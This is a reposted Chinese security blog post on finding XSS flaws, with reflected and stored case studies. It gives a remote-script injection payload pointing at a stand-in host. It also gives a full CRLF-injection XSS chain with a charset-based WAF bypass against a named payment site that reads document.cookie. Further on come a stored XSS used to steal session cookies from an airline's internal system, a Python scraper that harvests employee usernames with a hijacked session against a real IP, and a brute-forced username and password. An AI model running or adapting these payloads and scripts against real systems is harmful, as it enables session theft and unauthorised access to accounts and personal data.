业务安全漏洞挖掘——用户输入合规性(下)

admin 2024年12月17日13:55:30评论7 views字数 4658阅读15分31秒阅读模式

业务安全漏洞挖掘——用户输入合规性(下)

Xss测试

XSSCross Site Scripting,跨站脚本攻击)是一类特殊的Web客户端脚本注入攻击手段,通常指攻击者通过“HTML注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制浏览器的一种攻击。

当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义,或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动态内容,就会导致存在跨站脚本漏洞。

按照“数据是否保存在服务器”,XSS被分为:反射型XSS和存储型XSS

1.简单测试脚本检测漏洞(XSS payload

业务安全漏洞挖掘——用户输入合规性(下)

payload作为用户输入参数提交测试,这些payload的目的是闭合html的标签,使浏览器弹窗。若服务器对请求参数没有过滤处理,即直接弹窗,那么包含有恶意代码的响应信息被浏览器直接解析执行,由此触发XSS漏洞,且误报率很低。

当然有些xss漏洞隐藏较深,并不能那么容易检测到,需要构造更加强大的payload绕过一些xss简单过滤。

2xss攻击过程

在确定可注入的xss漏洞之后,诱使用户加载一个远程脚本,如将url的提交参数改为

“><script src=http://www.xxx.com/ec.js></script>

攻击者将真正的恶意负载写在这个远程脚本中,避免直接在url的参数里写入大量的js的代码,通过恶意脚本,进而控制用户的浏览器,达到攻击目的。

a. 反射型XSS:

服务器未对用户请求参数做任何编码或转义处理,直接将参数作为响应的一部分输出到页面中。反射型XSS是一次性的,很容易实施钓鱼攻击,即诱使被攻击者点击某条恶意链接就可触发漏洞。

案例:某讯财付通反射型XSS一枚(附绕过详细分析)

绕了几天都没搞定,请教了@mramydnei,一会他就bypass WAF,感谢M神的无私指导啊!顺便还学到了新思路!

学习了相关资料后发现的:

1. http://blog.bentkowski.info/2014/07/google-doodle-xss-actually-response.html

2. http://drops.wooyun.org/papers/2466

这是一个在微信手机端用的一个接口,用于拉取零钱明细,接口如下,在微信客户端里请求时传入的参数都会被替换成相应正确的参数,因此在微信里没有什么用,但测试后发现在浏览器端还是可以的:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a

返回:

< HTTP/1.1 200 OK

< Server: nginx/1.6.0

< Date: Sat, 30 Jan 2016 12:08:28 GMT

< Content-Type: text/html; charset=gbk

< Content-Length: 0

< Connection: keep-alive

< Cache-Control: no-cache, must-revalidate

< Set-Cookie: pass_ticket=a; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-Jan-2016 12:08:28 GMT

可以发现pass_ticket参数在Set-Cookie中,且值就等于a,接下来我试着插入

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0a%0d%0a<img src=1>

发现返回为空,不过这种类型的漏洞很好利用的原因在于我们可以在返回的头部中HTTP头部信息,因此试着加入Content-Length,就可以发现返回的内容里出现了img标签!

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E

返回内容如下:

< HTTP/1.1 200 OK

< Server: nginx/1.6.0

< Date: Sat, 30 Jan 2016 12:15:03 GMT

< Content-Type: text/html; charset=gbk

< Content-Length: 60

< Connection: keep-alive

< Cache-Control: no-cache, must-revalidate

< Set-Cookie: pass_ticket=a

<

<img src=1>; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-J

接下来就是关键的一个步骤,插入js代码了!不过这里有WAF,我花了两天的时间都绕不过去,PM @mramydnei 之后得到了他的强力支援,提供思路及bypass的例子:

大概原理就是:1.插入Content-Type更改response中的charset 2.选择一个字符集,保证该字符集中的某个字符或字符串 会被浏览器忽略(也可以是unicode transform) 3.将会被忽略的字符插入到被blacklist拦截的字符之间 4.done

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=al%1B%28Jert%28document.domain%29%3E

(看到他的回复的时候,我感动得留下了泪水,那是我逝去的青春,“让你不好好学习!”)

有bypass WAF的方式之后,之后一切问题都变得简单了,用X-XSS-Protection:0关闭浏览器的XSS过滤,想执行什么的代码发现被拦截了就用M神的方式bypass。

最终的Payload:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%1B%28Jert%28document.co%1B%28Jokie%29%22%3E

点击之后,弹Cookie

业务安全漏洞挖掘——用户输入合规性(下)

修复方案:

过滤CRLF

b. 存储型XSS

攻击者提供一个恶意负载输入并在后台保存一段时间,一旦用户访问含恶意程序的网页文件便形成有效攻击。富文本输入空间,都有存储型XSS的漏洞隐患,最严重可能导致XSS蠕虫。

案例:某航空某系统存储型XSS漏洞(已登录系统)

http://xxxxxx/SMS/

自愿报告出可直接插入xss

http://xxxxxxx/SMS/freeWill.json

成功打到cookies

业务安全漏洞挖掘——用户输入合规性(下)

虽然是内网直接外网加cookies即可

业务安全漏洞挖掘——用户输入合规性(下)

业务安全漏洞挖掘——用户输入合规性(下)

内部员工账号

业务安全漏洞挖掘——用户输入合规性(下)

爬取之

#coding=utf-8

import requests

import re

from lxml import etree

import time

import threading

import sys

sys.getdefaultencoding()

reload(sys)

sys.setdefaultencoding('UTF-8')

sys.getdefaultencoding()

def postcode(pageId):

url = "http://222.178.225.36:8083/SMS/queryCheckPerson.json"

head = {

'Host': '222.178.225.36:8083',

'Proxy-Connection': 'keep-alive',

'Content-Length': '71',

'Origin': 'http://222.178.225.36:8083',

'X-Requested-With': 'XMLHttpRequest',

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0',

'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',

'Accept': '*/*',

'Referer': 'http://222.178.225.36:8083/SMS/choosePerson.json',

'Accept-Encoding': 'gzip,deflate',

'Accept-Language': 'zh-CN,zh;q=0.8',

'Cookie': 'JSESSIONID******'

}

data= "start="+pageId+"&limit=15&sort=ID&dir=ASC&dept=&role=&userRealName=&workNumber="

proxy={'http':'127.0.0.1:8080'}

key = requests.post(url,headers=head,data=data,proxies=proxy)

#print key.headers

calc = key.text

num =  re.findall('USERNAME":"(.*?)"}',calc,re.S)

print num

fp1 = open("C:UsersAdministratorDesktop\loginname.txt",'a')

for i in num:

fp1.write(''.join(i.split())+'n')

print 'page spider full'

print u'开始抓取'

count = 15

for i in range(0,48):

pageId = count

count += 15

postcode(str(count))

再爆破又获得一枚 但是权限不如盲打的高

rangxy/rangxy123

系统弱口令确实少了 经过wooyun检测

一些项目

业务安全漏洞挖掘——用户输入合规性(下)

修复方案:

1.过滤XSS

Fuzz

功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)

不太符合的案例,但思路可借鉴:WooYun: 建站之星模糊测试实战之任意文件上传漏洞

可能会用的工具 —— spike

关注路劲科技,关注网络安全!
业务安全漏洞挖掘——用户输入合规性(下)
业务安全漏洞挖掘——用户输入合规性(上)
业务安全漏洞挖掘——用户输入合规性(中)
招募令| 别看别看,一篇“三无”招聘文章,请慎重点击

业务安全漏洞挖掘——用户输入合规性(下)

原文始发于微信公众号(LSCteam):业务安全漏洞挖掘——用户输入合规性(下)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日13:55:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   业务安全漏洞挖掘——用户输入合规性(下)https://cn-sec.com/archives/646587.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息